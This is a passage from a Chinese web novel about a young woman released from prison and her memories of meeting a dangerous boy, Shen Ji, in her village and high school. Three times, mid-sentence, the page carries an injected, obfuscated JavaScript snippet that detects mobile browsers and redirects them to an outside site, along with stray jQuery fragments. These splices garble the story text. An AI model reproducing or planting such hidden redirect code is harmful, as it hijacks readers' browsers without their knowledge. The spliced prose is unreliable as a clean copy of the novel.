《请亲手杀死偏执》 1. 楔子-出狱 2014年,4月7日,9:00,安城女子监狱。 茉莉站定在监狱门口。 “这是你的东西。以后不要再来了。”狱警将她入狱前被扣押的东西递给她,而后放开了那扇铁门。 背后的铁门关上,发出沉闷的声音,宣告着那段模糊的经历结束。茉莉蹲在地上,干瘦的手打开了那黑色塑料袋。 里面东西不多,一条白裙,一部老式手机,一条项链。 她把背上的包袱打开,将东西塞进里面。 只是在转移的过程中,一个小巧的金属物体从白裙中掉了下来,滚了一圈,滚到了自己的脚下。 那是一个戒指,仿佛因为长时间没见过阳光而亮的刺目。 她恍惚了一瞬,慢慢伸手想把戒指捡起。 “茉莉。” 还没碰到戒指,她听到有人在不远处喊出了她的名字,抬头,一个穿着风衣的俊秀男人靠近,停在了一米之处。 是戚玖。很多年前认识的一个警察。 “……”茉莉默了默,“你还是来了。” 三年前入狱时,他就说会来接自己出狱。 每次的信件和探监也有说,只是全被她以不回复的方式拒绝。 只是三年了,他依旧如初,固执丝毫没变。 戚玖抱着一件厚外套蹲在了她面前,展开想要披在她的身上。 似是许久没有接受到那么亲近的举动,茉莉下意识地回避,扑空的衣服被风拂起,挡住了茉莉偷偷捡起戒指的举动。 知道自己的举动有些越界,戚玖有些尴尬地笑笑,把衣服递给她:“外面冷,披着吧。” 外面的风确实发凉,茉莉没再拒绝,披上了那件外套。 戚玖兀自拎起她的包袱,一面打开车门放好东西,一面说:“上车吧。” “有没有想吃的东西?” “吃过早饭了。” “那也快中午了。对了,你有想做的事情吗?” “……”茉莉看到后视镜上瘦削的自己,皮肤暗黄,长发枯燥的耷拉着,怎么看都感觉像是刚出来的模样。 想了想,她说:“想去剪头发,对了……还有手机,先前的应该不能用了。” “嗯,那顺便也去买几套衣服吧,本来想给你带几套的,但怕你不喜欢,想着还是带你一起。” “好,谢谢你。” 虽然知道只是客套的回复,但戚玖的心情依旧放松了许多。 他当警察那么久,自是知道刚出狱的人会比常人敏感的多,若是茉莉拒绝开口,那才是难办的。 戚玖打了转向,驶向最近的商场。 车在往前开,茉莉在往后看。 只是三年,记忆里的安城已对不上眼前的景色。 曾经的旧城区已经改造成钢铁森林拔地而起,她不禁想到了洑水县,那个自己曾生活了十几年的地方。 “洑水县怎么样了?”没忍住好奇,她还是小声地问了一句。 “沈氏洗钱案结束后,那边的下派群龙无首,全都被一网打尽了。之后为了好管制,就划到安城里了,现在叫洑水区,你要是想去明天就可以去。” “那小泽村呢?” “村子都拆迁了,土坟也都划到分配的墓地了。”戚玖顿了顿,“你……好像没来得及去迁坟。” 车内陷入一片沉默,片刻后,她故作轻松道:“没关系,我也不想让他们知道,自己女儿已经是个罪人了。” “你不要那么想…” “我亲手杀了他,在你面前。” 她看天,天上飘着两朵如瓷片般的白云,恰不适时的遮住了阳光,微凉的风拂过她的碎发,将她的清晰视线打乱。 “我已经是个没有未来的人了,戚玖。” 她的声音极淡,淡的似乎一阵风就能吹散。 就如,她三年前被押送至监狱的天一样。 - 戚玖在身边陪伴了一天。 先是剪头,而后买衣服,最后是买了一些化妆品和日用品。 戚玖早早就把住处安置好了,是一个离他单位很近的公寓,平时可以就近来找他。 一室一厅的公寓被戚玖精心布置过,整体是暖黄色调的,卧室里到处都摆放着毛茸茸的玩偶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183554|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连地毯都是印着卡通图案的,看起来极为温馨。 知道茉莉需要休息空间,他没有过多停留,而是留下联系方式和几句关切的话就离开了。 暖黄的小屋里,只剩下了茉莉一人。 而她早就习惯了孤独,这样反而更自在。 新买的裙子放在脚边,她轻轻展开,忽然想要打扮自己。 脱下老旧的衣服,换上长裙,又简单画了个妆,就这样,茉莉站在了镜子前。 顺滑齐肩的短发,乌黑圆溜的水眸,明亮白皙的肌肤,她看的发愣。 那是还未人事的自己,那个几年前,还是青涩少女的自己。 那个还未失去一切,没爱错人的自己。 恍惚间,她似乎看到了一个穿着白裙的少女,身后,则是一个穿着白衣的少年。 他带着微笑朝自己走来,从背后轻轻抱住自己。 “!”她猛地后退,虚影消失,镜中只有她一人的身影。 她迅速冲到墙边打开窗户,任凭凉风胡乱地侵袭,想用寒意压制住自己的乱七八糟的思绪。 不知不觉的,她竟感到了一丝痛意。 她低眸,缓缓张开手掌。 掌心躺着一个戒指,残留着余温。似乎是握的太久,她的手上被硌出一个深深的印子。 恰好,跟她左手无名指上的一串刺青呼应。 刺青有些褪了色,边缘还晕了一圈,在纤细的手指上格外明显。她曾问过有纹身的狱友,据说纹在关节经常活动和皮薄的地方就会这样。 内容是一串意大利文,她看不懂,也从未问过给予自己刺青的人。 因为那并非是个美好的回忆,而是那人给自己的惩罚。 为的就是永远留下自己曾属于他的痕迹。 她摆弄着戒指,戒指外围是光滑的一圈,内里刻着一行字: 2010-4-7。 茉莉闭上了眼睛。 她怎么能忘呢。 不管过了多少个三年,她都不会忘记。 今年是认识沈悸的第六年。 也是,沈悸死去的第三年。 2. 雨夜 遇见沈悸那年,茉莉还只是个小村姑娘。 那时候洑水县是一个偏僻落后的小镇,而在县边,有个叫小泽村的不知名小村。 她还记得,小村都是水泥砌成的墙,矮小而灰黄。砖瓦的屋顶不似那么结实,有时还会被风刮下一两块碎片。小村很安静,除了庄稼的沙沙声,就只剩下人们朴实而幸福的笑声。 如果一切都有始有终,那么一切的开始,就起于那个电闪雷鸣的雨夜。 那天恰好是茉莉初中的毕业典礼,学校的小礼堂里外都挤满了人。耳边是同学依依不舍地道别,还有老师语重心长的嘱咐。 典礼刚结束,本晴朗的天突然变得阴沉,不一会就下起了瓢泼大雨,挟带着闪电肆虐。 茉莉背着书包,盯着地上密集而潮湿的脚印,独自一人站在礼堂门口。 今天的天暗的格外的快,只是发呆一瞬,天就变成了漆黑的模样。 “茉莉,怎么还不回家呢?”连班主任都整理完东西,背着包准备撑伞离开,“是不是爸爸拉货还没回来啊?” 茉莉乖乖地点了头。 “这样啊……”班主任有些为难,她跟茉莉不顺路,是要回镇上的,平时送一截也无妨,但今天忙的晚,去镇上的车只剩下末班,送完估计就赶不上了,班主任一时间陷入了纠结。 “没事的老师,不行我等下跟着其他同学一块回去。”茉莉知道老师的为难,于是宽慰道,“老师今天忙了一天了,快点回去吧。” “唉……不知道以后还有没有机会再看到你。”班主任摸了摸茉莉的脑袋。茉莉一直是班上最乖巧的学生,即使成绩没到拔尖的地步,但胜在虚心好学,班主任也是十分舍不得这样的学生。 她知道茉莉母亲因难产去世,家中是父亲做拉货司机支撑。但因为工作的不确定性,有时连家长会都没空参加,经常是茉莉一个人坐在座位上。 到底还是太懂事,懂事的让人心疼。 老师说:“那你一定要看时间,最多再等五分钟,一定要跟着别人一起。” “嗯,我一定会的!老师注意安全,再见!” 送别完老师,茉莉开始看着墙上的钟倒数。 数着数着,她看向了自己脚上的小青蛙雨靴。 她觉得无聊,玩起了脚下的水。结果再次抬头时,已然过去了二十多分钟。 耳边的喧闹慢慢淡去,茉莉回头看了看礼堂,人潮已然散去,一步距离的雨势也没有要小下来的趋势。 父亲似乎因为雨势太大赶不回来,今天得自己回家了。茉莉想。 她撑开了印着卡通图案的小雨伞走进了雨幕中。雨伞被强烈的雨势打的摇摇欲坠,她努力地控制着伞把防止脱手,快步朝着家的方向走去。 她家离学校不近,一个在村东一个在村西,走路要十分多钟,这下了雨就更慢些。 穷人家的小孩早当家,自己上下学也不是什么稀奇事,只是——茉莉看向了左前方的小路,她回家的必经之路。 这里是村中最混乱的地带,那年管制还没有那么严格,小村又落后,许多灰色产业都在这条路扎堆,治安极差,平时坐着爸爸的车时经常能看到风尘女子和混混出入。 爸爸反复叮嘱,没有他在不能随意进入这里,她也向来听话,一般会绕远点走山路。 可屋漏偏逢雨,雨势太大山路泥泞完全不能走,只剩下眼前的路。 茉莉咬了咬唇,硬着头皮跑进了小路。 没关系的,路很短,只要蒙头往前跑就好。她安慰着自己,攥着小雨伞往前跑。 或许是因为心理作用,她总觉得这条路比以往长,一眼不见底。 轰隆—— “!” 又是一阵雷暴,吓得茉莉打了个哆嗦,手中的伞一个不稳被密集雨点打落在地上。 她立马伸手要捡,可雨伞又小又轻根本抵挡不住狂风的卷袭,还没等碰到伞柄,就又被挟带着飞出了几米远。 她吧嗒吧嗒地跑去追伞,终于在伞滚落第二次时抓住了它。 咚—— 她还没起身,听觉便感知到前方一声大而闷的响动。 视线缓缓上移,前方是黑漆漆的一片。 她以为自己听错了,便想起身离开。 轰隆—— 只是随着第二道电光的亮起,她终于看清了眼前的景象。 不远的地方,一个彪形大汉重重倒在地上,头上似是被砸出了个窟窿,红色的鲜血汩汩融进了雨水里,很快就被冲刷殆尽。 而大汉笼罩的阴影落下,电光同时照亮了另一个浑身伤痕的少年。 少年喘着粗气,反射着寒光的金属钝器被他握在手里,明明是罪魁祸首,他却更加狼狈不堪,除了衣衫不整,俊秀的脸上还满是淤青。 这是茉莉第一次见到沈悸。 他如同受伤的狼崽,凶煞的视线逐渐与茉莉的对上,在电光的最后变成了惊骇。 世界再度被黑暗吞噬,漆黑的巷子里响起布料摩擦的声音,茉莉手脚发凉,连伞也来不及捡,转身便朝着巷口跑去。 跑!快跑!离开这里! 风刮出的声音让耳膜生疼,泥水灌满了鞋子,甚至有些硌脚,她没有心情去处理,一心只想快些逃离。 她在懊悔,要是没贪玩,早些跟同学一起回家,会不会就不会看到这些。 爸爸在哪?出口在哪?她好想哭,可现在能做的只有让双腿快些行动。 她不敢停歇,头脑发胀,生怕那嗜血的少年从后追上。 五感被恐惧放大,雨滴和急促的脚步声变得清晰无比。 不知道狂奔了多久,她终于看到了那个能让自己安心的家。 她连鞋子都来不及换,迅速把门窗锁严实,然后躲进了卧室。 突然如释重负,茉莉一下子瘫倒在了地上。 好多血? 那是什么? 杀人了吗? 冲击太大,她的脑子乱成了一团浆糊。 她不知道后面发生了什么,因为电光没再亮起。 茉莉伸出颤抖的手,上面还挂着染上些许红色的雨珠。 她突然有些恶心,起身冲进了卫生间洗澡。 不知道搓了多少回,直到手搓的通红,茉莉才穿着干燥暖和的衣服走出了卫生间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183555|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她蜷缩在床上,神经依旧紧绷。 此时大门响起,她猛地直起身子,猫在门边往外瞄。 还好,是父亲茉双季。 “爸爸!”见到茉双季回来,茉莉立马扑进了父亲的怀抱中,中途连拖鞋都跑掉了一只,“你怎么那么晚才回来呀?” 茉双季笑笑,腾出手来把茉莉推开:“身上还穿着雨披呢,别弄湿了,怎么回事啊,都要上高中了还跟爸爸撒娇呢,快去把鞋穿好。” 茉莉吐了个舌头,哈,实在是太着急了。 茉双季脱下雨披,转头看向院子,却没看到茉莉的雨伞:“茉莉啊,给你新买的雨伞呢?” 闻言,茉莉有些心虚,手捏着衣服下摆:“……好像丢在同学的家的拖拉机上了。” 茉双季叹了口气,假装生气地敲了敲她的脑袋:“这么忘性大,以后要是去外面上学,让我可怎么放心。” 感受到父亲的关怀,茉莉内心暖暖的,她抢过爸爸的雨披和雨靴说:“我去阳台晒,爸爸你先休息。” “去吧,记得挂在钩子上,别被吹跑了。” “知道啦,我不是小孩子!” 茉莉走到阳台,踩着小板凳把雨披挂在了钩子上。此时一阵大风吹来,卷挟着雨披上的水打在了茉莉的脸上。 她抹了抹脸,视线不自主地往外飘去。 黑云密布的天又响起了一道明雷。 阳台下的悬铃木下,似乎有个人影。 她心脏一滞,连带着温暖起来的身子也逐渐冰凉。 少年嘴角青紫,满身湿透,黑发一缕一缕的凝成线,遮住了眼角的裂隙。 他像感知不到温度一样站在那里,直直地看向茉莉。 那双深邃而漆黑的眼眸像是望不见底的深渊,几乎感受不到一丝温度。 茉莉身体一僵,慌不择路地逃回房里,重重地关上了门,顺手拉上了窗帘。 “怎么了,关那么大声。”茉双季从厨房探出头来。 “风太大了。”茉莉拟着借口糊弄了过去。 片刻后,她偷偷从缝中向外看去。 原处,少年的身影已经消失不见。 一整晚,茉莉都浑浑噩噩的,饭没吃几口,连觉都睡不着。 明明是七月盛夏,她却缩在被窝里,一直觉得冷,连牙齿都在打颤。 那个鬼魅般的身影始终阴魂不散地出现在脑海。 看错了,一定是看错了。 她如此安慰自己,可依旧无法入眠。 第二天,她挂着两个黑眼圈走出了房间。 茉双季正在门边穿鞋打算出门干活,见到茉莉后,他指了指冰箱:“我今天会晚点回来,饭你自己热热啊。” “好。”茉莉接了杯水喝。 “那我走了。诶……”门刚打开,茉双季发出了一声疑惑。 “怎么了?” “你同学好像把伞送回来了。” 心脏砰砰作响,寒意瞬间传遍四肢百骸。她故作平静地走到了茉双季的身边。 根本就不存在“同学”。 可茉双季的手上,分明就是她那把印着卡通图案的小伞。 3. 同学 经过上次的遭遇之后,茉莉的整个暑假都不太美好。 整日担惊受怕,房间里的窗帘都是紧闭状态,还好是夏天,可以跟茉双季借口说怕晒。 只是时间久了,茉双季也开始起疑了。 以前的茉莉一放假就会帮自己去拉货,可现在却像变了个性子一样,即使朋友来找也不出去,天天闷在家里。 为此茉双季还特地跟她进行了深度谈话,担忧她是不是被人欺负了还是咋了。 意识到让父亲担心了,茉莉只能说自己在房里预习高中功课,并表示过几天她会去镇上的书店买些学习资料。 于是,在暑假的倒数第二周,茉莉第一次踏出了家门。 竹马于辉在靠在她家门口打着哈哈,见到她来,瞬间打满了精神,上下打量道:“哟,终于舍得出门了?我可是来找了你整整五次啊。” “嗯,不好意思。”茉莉抿着唇,眼睛不住地往左右瞟,“我紫外线过敏了,见不了人。” 她性子闷,话少,平时还忙着帮茉双季,没多少朋友,自来熟的于辉是为数不多能让她打开话匣子的朋友。 于辉眨眨眼,大喇喇地推着茉莉往前走:“你在看啥呢,鬼鬼祟祟的,跟贼一样。快点了,这班车赶不到可得等半小时呢。” 两人一路小打小闹着,来到了洑水县中心。 县中心的建筑跟小泽乡大差不差,道路却开阔很多,马路上多了许多叫不出名字的汽车,响着聒噪的喇叭驰骋而过。 这可给喜欢车的于辉羡慕坏了,走一路看一路,嘴里不停念叨:“好气派,我以后要买一车库的车,让你爸爸给我拖回来。” 茉莉白了他一眼:“我爸爸的车可拉不了这样大的东西。” “那就让你爸爸当司机,给我开回来。” “你不打算学驾照吗?” “你到底懂不懂啊,人大老板都是有司机开车的。” “你是学不会吧?” “呸!”说到这,次次考试倒数的于辉急眼了,“谁说的,这不是随随便便的事情,我这叫隐藏实力!” 看到他炸毛的样子,茉莉忍不住笑出了声:“好好,我信你。” 她本身就长得很好看,笑起来更是俏皮又天真,甜的像颗鲜草莓。 于辉愣了愣,感觉脸颊一阵发烫,没一会,茉莉就看到他的耳根微微泛红:“怎么了?” “没、没……哦,你看那边有个好帅的车!”于辉拍了拍她,急呼呼地示意她往后面看。 茉莉顺着他指的方向看去,果然看到了一辆又高又长的车子停在一个酒店门口,车身油光锃亮的,看都知道保养价值不菲。 街上许多行人也都驻足观看,无不惊讶于这辆车的气派。 她从未见过这样的车,惊讶地咽了咽喉咙:“跟我爸爸的货车一样大了。” “这种车超级贵啊,我居然能在洑水县看到这样的车!”于辉伸着脑袋不住地打量,嘴上啧啧赞叹,“真帅啊。” 陪着于辉瞧了一会儿,那辆停靠的车门忽然打开,一个高大的男人从里头走出,另一手似乎还在抓着什么,只是被车子挡住,她看不真切。 随着一声砰然倒地的声音,茉莉才看清那个男人丢出车外的“东西”是什么。 是一个人。还似乎,是个年纪相仿的孩子。 他被重摔在酒店门口的台阶上,顺阶滚下,头部还磕在了门口的石头摆件上。他挣扎着想要起身,却无济于事,只能捂着头蜷缩在地上。 周围本带着好奇的看客们突然变了脸色,惊呼着散去了一些,余下的还有看热闹不嫌事大的,也都被那出来的高大男人呵退。 “……这是、这是乞讨不成反被赶出来了吗?”于辉没见过这样的场面,脸色霎时间变得惨白。 雨夜的惨景历历在目,茉莉心脏狂跳,立马收了视线拽着于辉的衣角往前走:“别看了,快走。” 于辉被吓到了,木讷的任由茉莉拉他走。 马路的对面,少年面无表情地从地上爬起,温热的鲜红如同一股细流,顺着瘦削的面颊滑下。 他擦掉血迹,瞥向了远处。 茉莉没有注意到,一道深邃晦暗的眸子已经捕捉到了她的身影,并紧咬着追随了上去。 来到书店,两人才短暂忘却路上的插曲,度过了还算开心的一天。 坐着车回到村口时,夕阳西斜,橙黄的光如薄纱轻幔,铺满了田埂。 他们迎着暮日下车,茉莉本打算就此分道扬镳,可于辉执意要送茉莉回家,不管茉莉怎么劝都没有用。 “我不能让你一个小女孩家家的走臭巷。”臭巷是这边人对那条路的贬称。于辉知道茉莉家要经过那条不安全的巷子,不由分说地走到了前边,“我可答应过你爸爸的,要把你安全送到家。” 于辉家就在村口,不用走两步就能到。如果陪她走到家的话,他还得自己走一遍那条小巷。于辉向来是个急性子,让他走山路绕一圈肯定是不干的。 想到此,茉莉就更不想让于辉送了。 于是两人就这样磨到太阳下山,磨到村口的老路灯颤巍巍的发亮,他两还没走出一步。 直到远处亮起一道车光,茉双季都被磨回来了,于辉才终于松口回家。 回到家中,茉莉掏出新买的书和爸爸在餐桌上分享着今天的经历。 听到于辉说要买豪车请茉双季当司机时,茉双季忍不住哈哈大笑:“小子真出息啊,好,我等着呢!” 当然,为了让爸爸安心,她故意隐瞒了路上看到的事情。 只是茉双季却说出了一句令人在意的话:“今天在镇上好像发生了件打人的事,你和于辉没事吧?” 茉莉嘴里的饭还没咽下去,连连摇头。 “那就行。”茉双季点点头,而后有些愧疚道,“我最近接了个大单子,你没多久就开学了,那时候也是我最忙的时候,可能没多少时间陪伴你。” “没事的,高中就在隔壁村子嘛,我自己走没问题的。”茉莉展开甜甜的笑容。 偏偏就是这样懂事的女儿才让茉双季放心不下,他担心女儿内向的性格会在高中吃瘪,所以剩下的假期里,他总是拉着茉莉絮叨,惹得茉莉只能借口看书躲过那连环紧箍咒。 开学当日,茉双季早早便起了床为女儿准备早餐,他特地请了半天的假,一路牵着茉莉语重心长,大到未来理想,小到同学关系都拉呱了一遍。 “好啦好啦。”走到隔壁村口,茉莉忍不住打断了茉双季的话,指着自己的校服上的校徽,骄傲地仰起头,“我可是高中生了,这些我当然知道。爸爸你就安心吧。” 茉双季无奈又宠溺地掐了掐茉莉的脸,随后想起什么,从口袋里掏出一个手机:“你上高中了,该有手机了,这手机虽然是我之前用剩下的,但只用来联系还是可以的,这样也方便联系我。” “哇!”茉莉开心地接过手机,“谢谢爸爸!” “好了,我得走了。”茉双季拍拍她的肩。 “嗯嗯!”茉莉小跑着往学校的方向去,不忘回头招招手,“爸爸再见!” 茉双季站在原地挥手示意,直到看不到茉莉的身影后才转身离开。 那年高中开学时,桂花开的格外的早。丛桂怒放,陈香扑鼻,金桂挂在枝头,不时被风摇出一场烂漫的金色花雨。 茉莉和新同学们一样,带着期盼的神情走入新学校,畅想着自己未来三年的际遇。 高中是新建成的,铜金的大门上挂着“欢迎新生!”的横幅,“洑水中学”的字金光灿灿。学校的墙面涂着干干净净的白漆,教学楼从一栋变成了三栋,分别是一到三年级,操场大了不止一倍,旁边还多出了个篮球场。 茉莉刚进校门就被惊艳到,心里漾起了欢喜。 好漂亮的学校!简直跟初中不能比拟。 她顺着人流走到了分班公告的地方准备看看自己的班级,但人实在太多,在后排站着站着,她就被搡到了人群之中成了肉夹馍。 还没看到自己的名字,后面就又涌上了一群人,她被挤得东倒西歪,想要出来却进退两难。 人群中心又闷又热,呼吸困难时,她感觉到书包带子被人拉住,有人从后拨开了一个通道将她揪了出来。 “哈、哈……”茉莉拍着胸脯惊魂未定,大口呼吸着新鲜空气。 “瞧你,来的那么晚,一点没预料到人那么多吧?”旁边传来于辉那调侃的声音,他抱臂站在一边,幸灾乐祸地看着她。 “我以为跟中学差不了多少。”她抠着手,老实巴交地回复。 “说实话,我刚到的时候也被吓了一跳。” “那你在几班,有看到我吗?” “很荣幸的告诉你,我们在一个班,三班。”于辉自信抬头,“单数重点,双数普通,看,谁说我不行的。” 茉莉“啊”了一声,苦着脸道:“那还真是个不幸的消息,分班考试的时候你不会作弊了吧。” 自诩做人光明磊落的于辉红温了:“谁家作弊九门加起来才四百五!你懂不懂什么叫平均分差,这是我那么清正品行被看到的表现!” 虽然嘴上在损,但茉莉还是安心了不少。 她不善社交,有于辉在的话,指不定能交到新朋友呢。 离开公告板,茉莉和于辉一前一后进了高一的教学楼。 高一三班很好找,一楼一眼就能看见。窗明几净的教室里摆放着崭新的木质课桌,白色的风扇吱呀吱呀的转着,将九月的燥热阻隔在门口,余下的是凉爽的期盼。 班级里坐了不少人,可能是刚开学不认识的缘故,教室里相对比较安静,每当一人走进教室时,大家都会抬头认认新面孔。 于辉社牛,刚进教室就跟所有人打了招呼,茉莉胆小,躲在于辉的身后匆匆猫进教室,最后捡了个不起眼的角落坐下。 写完名字的于辉拍着粉从讲台上走下来,眼瞅了半天没看见茉莉,最后还是茉莉举了举手才让他注意到。 “你捡这座位干啥,晒就不说了,这旁边都是劳动区,那拖把水都发臭。”于辉捏着鼻子嫌弃地挥手。 “你往前坐就是咯,没人逼你。”前排不知什么时候坐了个扎着高马尾的女孩子,她转头上下打量了下于辉,轻蔑道,“咋地,都是村里人,你还嫌你家猪棚臭吗。” “你、你……你谁啊!”语言过分针锋相对,于辉被堵的语塞,半晌只憋出那么句话。 “你管我谁,爱坐不坐。”女孩子眼角上扬,自带着一股轻佻,她勾手让于辉走开,“不行你走,我想跟漂亮姑娘做同桌。喂姑娘,有联系方式吗?” 啊?茉莉呆了呆,漂亮姑娘……是在说她吗? 除了爸爸,好像还没人夸过自己漂亮呢。 她小脸红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15183556|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑扑的,努力把上扬的嘴角往下压:“我有,你的电话多少呀?” “我的电话……”女孩摸出一张纸,写下一串号码。 “好呀,叛徒茉莉,居然比我先有手机了!”旁边的于辉气得说不出来,干脆一屁/股坐了下来,边嘟囔着,“我才不走,气死你。” “哟,说好男不跟女斗,那看来你不是真的男人。” “我本来就不是男人,我是男孩!” “哦,好的小男孩,怪不得那么娇。” 于辉彻底崩溃,本高涨的战斗力被削减成了负值,两眼通红地趴在了桌上,再也不讲话了。 茉莉噗嗤笑出了声,看着前座的少女说:“好厉害啊,还没人能让他吃瘪成这样。” 少女不以为然地勾起唇角:“谁要他跟我抢位的。不管他了,我叫宋长乐,长久的长,快乐的乐,你呢,叫什么?” 宋长乐,送长乐,好有寓意的名字。 “茉莉。”茉莉回道,“茉莉花的茉莉。” “哦!你爸爸是不是茉双季?” “你怎么知道?” “我家开小超市的,就那个长乐小超市,你爸爸经常帮我家送货。而且茉姓少见,很容易就能记住。” 茉莉惊喜地睁大了眼睛:“这么巧吗?我之前也去搬过货。” 宋长乐摊了摊手:“当时我就见过你了,想跟你做朋友来着,结果中途被妈妈逮回去写作业了,唉,真遗憾。” 居然有人想跟自己做朋友!还是个好看又个性的女孩子! 茉莉开心的差点叫出声,却还是佯装淡定摇头:“没有,现在认识也不晚。” “哼。”于辉趴在桌上闷闷出声,“不管你什么时候认识,我都是茉莉最好的朋友。” “好了,跪安吧,以后有我就行了。”宋长乐摆摆手,一副懒得搭理的模样。 “你!”于辉气急。 “你什么你?”宋长乐白了他一眼。 情势又剑拔弩张起来,好在这时班主任拿着花名册进来了,两人这才安分下来。 茉莉呼了口气。 看来接下来的三年会一直这样热闹呢。她轻松地想着。 班主任是个男老师,面相很凶,站在台上就开始下马威:“吵什么吵,刚开学就那么聒噪!高中了,全都紧张起来!” 班上同学都被吓了一跳,顿时鸦雀无声。 见到下马威起了作用,老师语气缓和了些:“我是你们的班主任,姓付,教语文,接下来三年都少给我添麻烦。” 于辉带头鼓起了掌,其他学生也附和着鼓掌,气氛一片和睦。 直到点名以前,茉莉的心情都还是愉悦的。 付老师按照流程开始点名,点到名的同学需要站起来进行简单的自我介绍。 茉莉又开始紧张起来,手上沁满了汗,湿漉漉的。 于辉在旁边挤眉弄眼:“赶紧准备下自我介绍,别等下又跟初中开学一样咬到舌头。” 茉莉重重点头,在心中疯狂默念自我介绍。 大家好,我叫茉莉,茉莉花的茉莉,希望之后能跟大家做朋友…… 不知默念到第几遍,她听到了自己的名字。 即使做过心理建设,她还是紧张地手足无措,站起身的时候还把板凳弄倒了。 这一声格外的响亮,除了班上的同学,连拐角那个还没到门口的少年都注意到了动静。 茉莉手忙脚乱地扶起板凳,尴尬的无地自容,连带着自我介绍的声音都细如蚊吟:“我……我叫茉莉,茉莉花的茉莉……” 她死死低着头,周围的视线仿佛无形的紧箍咒紧紧束缚,让她头晕目眩,思维混乱。 还有一句话!说完就行了!不能再像初中一样被人嘲笑。 她在内心大叫,额头都急出了一层薄薄的细汗,可越是着急,她越是舌头打结,怎么也说不出来。 咚咚—— 此时,门口响起了敲门声。 这一声平仄、快速、单调,但在茉莉耳中却是如救命的急救铃般悦耳。 门口传来一个如碎玉般好听的男声:“抱歉老师,我迟到了。” 班上所有人的视线从茉莉身上转移至门口。 趁着这个空档,茉莉迅速坐回了椅子。 得救了……她撕开纸巾擦着额头的汗,目光随大众一齐投向了门外。 那是一个模样清俊的少年,脸上贴着一个创口贴。 说来奇怪,他站在门口时,本张扬的太阳却被浓白的云盖住,阴沉沉的。 少年穿着蓝白相间的校服定定地站在门口,黑发微长盖过眉梢,一双眸浓黑如墨,深不见底,也看不清他的情绪。 她的视线恰好撞进了那乌黑不明之中,被牵引着怎么也逃不开。 擦汗的手慢了下来,最后停住。 听他很有礼貌,又是刚开学,班主任并没有生气,而是打开花名册道:“你叫什么,正式上学就不准迟到了。” “沈悸。”他道,声音温润如潺潺溪水。 那个闷雷低沉的雨夜重演在脑海。 重叠上了。 那张令她梦魇了无数天的脸,竟在此时重叠上了。 可惜一切的开始并没有什么悸动和脸红,也没有什么缱绻暧昧。 有的只是雨雾阴湿的潮味,还有那如大山重压般的窒息和恐惧。 4. 威逼 开学已经过去两天,茉莉始终都不守舍地盯着摊开的课本发呆,不远的右前方,少年的背影清晰无比,连名字都刻骨铭心。 沈悸。 他叫沈悸。 而那夜的另个男子,听小道消息说他是某个地头蛇的小弟,不知被谁重伤,现在只能躺在家里。 还好,不是杀人现场,也不是什么普通人。她心中的负担多少消了许多。 只是雨夜站在悬铃木下的身影还历历在目,一整个暑假,她都因那个人惴惴不安。 可现在,那个可怖的少年却成了自己的同班同学,距离,仅仅只是几米之内。 最可怕的是,所有人都对他的评价很好,围着圈找他说话。 在外人看来,他外形优秀,声音好听,性格还温润如玉。 只有她知道沈悸的真面目,把沈悸当凶煞,避之不及。 实在是太优秀了,优秀的让她有些自我怀疑——那天看到的人,真的是他吗。 很快,她就甩掉了这个想法。 他曾经恶意伤了别人,还威胁过她,她绝对不会忘却。 但无论何种借口,她都没法把注意力集中在课堂,这导致她的学习进度跟别人差上了一大截。摸底考试时,她的卷面空了一大片,明明是应该熟悉的知识,她却怎么也写不出来,只能咬着笔杆子发呆。 连于辉和宋长乐都感受到她情绪的转变,但他们并没有想太多,只以为社恐的她在害怕成绩批下后会分开座位,所以一到空闲时间,他两就找机会安抚茉莉。 而今天,正是摸底考试公布的日子,也是正式确定座位的时候。 上课铃一响,付老师就应声抱着一沓卷子走入了教室。 放下卷子,付老师开口道:“今天是考试成绩公布的日子,但因为是摸底,考察同学们的成绩水准,所以,此次考试所有科目的成绩不公开,只发放。座位和班级职务呢,会根据成绩综合评定。剩下还有各科的课代表,这就由各科老师自己选定。” 班上的同学不约而同地紧张起来,生怕跟自己才熟络起来的小伙伴分离。 老师一边喊名一边发卷,卷子分发到手上时,茉莉总感觉那几个六十多的红色数字在张牙舞爪地嘲笑自己。 翻面,她看到卷末红笔写下的排名——40。 全班四十三人,她最终还是成了倒数。 她探头望望前边,宋长乐的成绩出乎意料的好,在优等生云集的重点班里能排到第十三名。 边上就更不用看了,指定也是倒数的。 还好,要是这样的话,她跟于辉或许还能坐一起。茉莉双手合十,祈祷着身边能坐些好相处的人。 到了换座位的时候,付老师让所有人拎包到走廊站好,他会依次喊人进去。 